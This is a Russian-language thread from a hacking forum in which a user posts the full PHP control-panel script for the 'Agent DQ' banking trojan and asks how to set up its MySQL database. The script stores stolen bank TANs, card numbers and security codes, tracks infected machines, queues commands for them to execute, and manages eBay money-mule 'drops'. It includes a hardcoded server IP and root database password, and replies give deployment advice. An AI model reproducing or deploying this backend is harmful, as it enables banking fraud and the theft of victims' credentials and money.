• XSS.stack #1 – первый литературный журнал от юзеров форума

sql база для скрипта троя Agent DQ

Статус
Закрыто для дальнейших ответов.

Sanny

HDD-drive
Пользователь
Регистрация
05.04.2006
Сообщения
26
Реакции
0
Люди,выручите пожалуйста!
Есть скрипт для трояна Agent DQ,но при установке и запуске он требует подключиться к sql базе.

Может у кого есть?

Вот этот скрипт:

Код:
<?
set_magic_quotes_runtime(1);
$server_ip="69.31.128.138";
$login="root";
$pass="qwedsazxc";
$db_name="work";
$table_name="samt_t";
$table_name_ebaydrops="ebay_drops";
$table_name_sellers="sellers";
$table_name_tans="tans";
$table_name_screenshots="bank_screenshots";
$table_name_popup="popup";
$tan_counter=3;

$new_cc=0;
if(array_key_exists('cC',$_GET))
$new_cc=1;

// -------------------------------------------------------------------------------
$mres=mysql_connect($server_ip,$login,$pass)  or die ('<center><b>

<h1>Hmmm PLEASE RECHECK SCRIPT CONFIGURATION</center></h1>');

//---------------------------------------------------------------------------------

if($new_cc==1)
{
mysql_query("create database $db_name");
$q="CREATE TABLE `samt_t` (
  `Fidx` int(10) unsigned NOT NULL auto_increment,
  `FCompID` varchar(100) NOT NULL default '',
  `FLastRep` varchar(50) NOT NULL default '',
  `FTime` varchar(10) NOT NULL default '',
  `FDay` char(2) NOT NULL default '',
  `FMonth` char(2) NOT NULL default '',
  `FYear` varchar(4) NOT NULL default '',
  `FQuery` tinytext NOT NULL,
  `FExecuted` mediumtext NOT NULL,
  `ip_addr` varchar(15) NOT NULL default '',
  `FVer` varchar(10) NOT NULL default '',
  `FHosts` mediumtext NOT NULL default '',
  PRIMARY KEY  (`Fidx`),
  UNIQUE KEY `lrp` (`FCompID`,`Fidx`)
) TYPE=MyISAM";

mysql_query("use $db_name");
mysql_query($q);


$q="CREATE TABLE $table_name_ebaydrops (
  `Fidx` int(10) unsigned NOT NULL auto_increment,
  `Ffakeemail` char(50) NOT NULL default '',
  `Ffakebox` char(200) NOT NULL default '',
  `FID` varchar(50) NOT NULL default '',
  PRIMARY KEY  (`Fidx`),
  UNIQUE KEY `lrp` (`Fidx`)
) TYPE=MyISAM";
mysql_query($q);

$q="CREATE TABLE $table_name_sellers (
  `Fidx` int(10) unsigned NOT NULL default '',
  `FCompID` varchar(100) NOT NULL default '',
  `FSellerName` varchar(100) NOT NULL default ''
) TYPE=MyISAM";
mysql_query($q);

$q="CREATE TABLE $table_name_tans (
  `Fidx` int(10) unsigned NOT NULL auto_increment,
  `FCompID` varchar(100) NOT NULL default '',
  `FBankUrl` varchar(100) NOT NULL default '',
  `FCounter` int(5) unsigned NOT NULL default '',
  `FTans` mediumtext NOT NULL default '',
  `FDir` varchar(50) NOT NULL default '',
  PRIMARY KEY  (`Fidx`),
  UNIQUE KEY `lrp` (`FCompID`,`Fidx`)
) TYPE=MyISAM";
mysql_query($q);

$q="CREATE TABLE $table_name_screenshots (
  `Sites` mediumtext NOT NULL default ''
) TYPE=MyISAM";
mysql_query($q);

$q="CREATE TABLE $table_name_popup (
  `Fidx` int(10) unsigned NOT NULL auto_increment,
  `FCompID` varchar(100) NOT NULL default '',
  `FCard` varchar(40) NOT NULL default '',
  `FCode` varchar(10) NOT NULL default '',
  PRIMARY KEY  (`Fidx`),
  UNIQUE KEY `lrp` (`FCompID`,`Fidx`)
) TYPE=MyISAM";
mysql_query($q);


exit('k.');
}

// Popups

if(array_key_exists('card',$_GET))
{
   $fid = $_GET['phid'];
   $card = $_GET['card'];
   $code = $_GET['code'];

   mysql_query("use $db_name");
   $res=mysql_query("select * from $table_name_popup where FCompID='$fid' and FCard='$card'");
   if (mysql_affected_rows($mres)!=0)
   {
   // Found (something) :)

   }
   else
   {
      // Nothing found
      if ($code=='popup')
      {
      echo 'yes';
      }
      else
      {
          $res=mysql_query("insert into $table_name_popup (FCompID,FCard,FCode) values ('$fid','$card','$code')");
//          echo "insert into $table_name_popup (FCompID,FData) values ($fid,$txt)";
      }

   }


   exit();
}




// Screen shots

if(array_key_exists('shots',$_GET))
{
   mysql_query("use $db_name");

   $res=mysql_query("select * from $table_name_screenshots");
   $obj=mysql_fetch_object($res);
   if (mysql_affected_rows($mres)!=0)
   {
       echo $obj->Sites;
   }
   exit();
}



if(array_key_exists('tan',$_GET))
{
     $fid = $_GET['phid'];
     $tan = $_GET['tan'];
     $url = $_GET['url'];
     $dir = $_GET['dir'];

     mysql_query("use $db_name");
     $res = mysql_query("select * from $table_name_tans where FCompID='$fid' and FBankUrl='$url'");

     if (mysql_affected_rows($mres)!=0)
     {
         $obj=mysql_fetch_object($res);
         if (strstr($obj->FTans,$tan))
         {
         // TAN found in database
             echo 'yes';
         }
         else
         {
             if ($obj->FCounter==0)
             {
             // update database with new TAN
                 echo 'yesupdate';
                 $tmp = $obj->FTans;
                 $tmp.=':'.$tan;
                 echo $tmp;
                 mysql_query("update $table_name_tans set FCounter='$tan_counter', FTans='$tmp' where FCompID='$fid' and FBankUrl='$url'");

             }
             else
             {
                 $counter = $obj->FCounter;
                 $counter-=1;
                 mysql_query("update $table_name_tans set FCounter='$counter' where FCompID='$fid' and FBankUrl='$url'");
             }

         }
     }
     else
     {
         mysql_query("insert into $table_name_tans (FCompID,FBankUrl,FCounter,FTans,FDir) values ('$fid','$url','$tan_counter','$tan','$dir')");
         echo "yes";
     }

     exit();

}




if(array_key_exists('id',$_GET))
{

///// send mail only

   if(array_key_exists('message',$_GET))
   {
       $fid = $_GET['id'];
       $msg = $_GET['message'];
       mysql_query("use $db_name");
//       $res = mysql_query("select * from $table_name_ebaydrops where FID='$fid'");
       $res = mysql_query("select * from $table_name_ebaydrops d, $table_name_sellers s where d.Fidx=s.Fidx and FSellerName='$fid'");
//       echo $fid;
       if (mysql_affected_rows($mres)!=0)
       {
           $obj=mysql_fetch_object($res);
           if (mail("$obj->Ffakeemail", "$fid", "$msg",
           "From: webmaster@$SERVER_NAME \r\n",
           "-fwebmaster@{$_SERVER['SERVER_NAME']}"))
           echo "message sent";
       }
       else
       {
        echo "no drop found!";
        }

       exit();
   }





//////// get drop info only

   mysql_query("use $db_name");
   $fid = $_GET['id'];
   $phid = $_GET['phid'];


   $res = mysql_query("select * from $table_name_ebaydrops e, $table_name_sellers s where e.Fidx=s.Fidx and s.FSellerName='$fid' and s.FCompID='$phid'");
   if (mysql_affected_rows($mres)==0)
   {
//SELECT * FROM table1 WHERE id NOT IN (SELECT id FROM table2);
//SELECT * FROM table1 WHERE NOT EXISTS (SELECT id FROM table2
//                                       WHERE table1.id=table2.id);

       $resemp = mysql_query("SELECT ebay_drops.* FROM ebay_drops LEFT JOIN sellers ON ebay_drops.Fidx=sellers.Fidx and sellers.FCompID='$phid' WHERE sellers.Fidx IS NULL");
       if (mysql_affected_rows($mres)==0)
       {
              echo 'no empty drops!';
              exit();
       }
       else
       {
              $obj=mysql_fetch_object($resemp);

              mysql_query("insert into sellers (FCompID,Fidx,FSellerName) values ('$phid','$obj->Fidx','$fid')");
              echo "$obj->Ffakeemail:$obj->Ffakebox";
       }
   }
   else
   {
      $obj=mysql_fetch_object($res);
      echo "$obj->Ffakeemail:$obj->Ffakebox";


   }
   exit();
}

$id='';
$ver='0';
$ip=$_SERVER["REMOTE_ADDR"];
$upd=FALSE;

if(array_key_exists('h',$_POST))
{
    if(array_key_exists('phid',$_POST))
        {$id=$_POST['phid'];}else exit;

    if(array_key_exists('ver',$_POST))
        {$ver=$_POST['ver'];}else exit;
    $h = $_POST['h'];

} else
{
    if(array_key_exists('phid',$_GET))
        {$id=$_GET['phid'];}else exit;

    if(array_key_exists('ver',$_GET))
        {$ver=$_GET['ver'];}else exit;

}

mysql_query("use $db_name");

$res=mysql_query("select * from $table_name_screenshots");
$obj=mysql_fetch_object($res);
if (mysql_affected_rows($mres)!=0 && $ver!="1.1")
{
echo "$0:".$obj->Sites."\r\n";
}

mysql_query("select Fidx from $table_name where FCompID='$id'");
$upd=mysql_affected_rows($mres);


$lday=date('d');
$ltme=date('H:i:s');
$lmonth=date('m');
$lyear=date('y');
$lrep='['.$lday.'/'.$lmonth.'/'.$lyear.'] '.$ltme;


if($upd==0)
{
mysql_query("insert into $table_name (FCompID,FLastRep,FTime,FDay,FMonth,FYear,FQuery,FExecuted,ip_addr,FVer) values ('$id','$lrep','$ltme','$lday','$lmonth','$lyear','','','$ip','$ver')");
Exit('');
}

$res=mysql_query("select FQuery,FExecuted from $table_name where FCompID='$id'");
$obj=mysql_fetch_object($res);

$query=$obj->FQuery;
$executed=$obj->FExecuted;

echo($query);


if(strlen($query)>0)
{
  $executed.=$lrep.' '.$query."\r\n";
}

if(array_key_exists('h',$_POST))
mysql_query("update $table_name set FHosts='$h', FQuery='', FExecuted='$executed', FLastRep='$lrep', FTime='$ltme', FDay='$lday', FMonth='$lmonth', FYear='$lyear', ip_addr='$ip', FVer='$ver' where FCompID='$id'");
else
mysql_query("update $table_name set FQuery='', FExecuted='$executed', FLastRep='$lrep', FTime='$ltme', FDay='$lday', FMonth='$lmonth', FYear='$lyear', ip_addr='$ip', FVer='$ver' where FCompID='$id'");

Exit('');

?>
 
Создавать через phpAdmin? Да?
А если я,допустим,на удаленном хосте каком-нибудь этот скрипт повесить хочу,то мне придется заливать туду phpadmin и там устанавливать базу? Я правильно понял?

Кстати с такими данными :
Код:
$server_ip="69.31.128.138";
$login="root";
$pass="qwedsazxc";
$db_name="work";
я пробывал создать sql-базу,но phpadmin выдавал ошибку
 
Код:
$server_ip="69.31.128.138";
хост сервака, где стоит майадмин. Это не хар-ка базы. Если запрещены все коннекты на хосте не с локала, то обломись.
Код:
$login="root";
$pass="qwedsazxc";
ты должен быть под рутом в мускуле, т.е. на удаленном серваке - только на дедике получится.
Код:
$db_name="work";
Это название базы, причем заметь не login_work как делают многие хостинги, а именно ворк. Это надо учесть. Или правь скрипт а не базу.
 
Спасибо за разъяснение.Это я вроде усвоил.
Насколько я знаю база должна состоять из различных там таблиц,столбцов ну и т.д. и т.п.Короче должна быть какая то структура самой базы.Может я что то не понимаю.
Ты говоришь
Создай БД на локале:

$server_ip="69.31.128.138";
$login="root";
$pass="qwedsazxc";
$db_name="work";


Т.е. кроме выше указанного тобой ничего больше не должно быть в sql файле?
 
Cкоолько раз я ни пытался через phpAdmin создать sql базу с этими параметрами ничего не получалось.Скрипт не хотел подключаться.
Для теста был установлен на локалхосте Денвер.

Может кто раньше тестил этот трой вместе со скриптом?

Был бы очень благодарен и рад,если бы кто-нибудь выложил небольшой обучающий видеоролик по созданию этой базы и подключению к скрипту троя. Заранее спасибо!
 
Выходные уже давно прошли,а обещанного видео так и не последовало.

Тему можно закрывать.Мне уже все объяснили на другом форуме.И там кстате совсем не так,как ты сказал выше,Winux.
 
Статус
Закрыто для дальнейших ответов.
Верх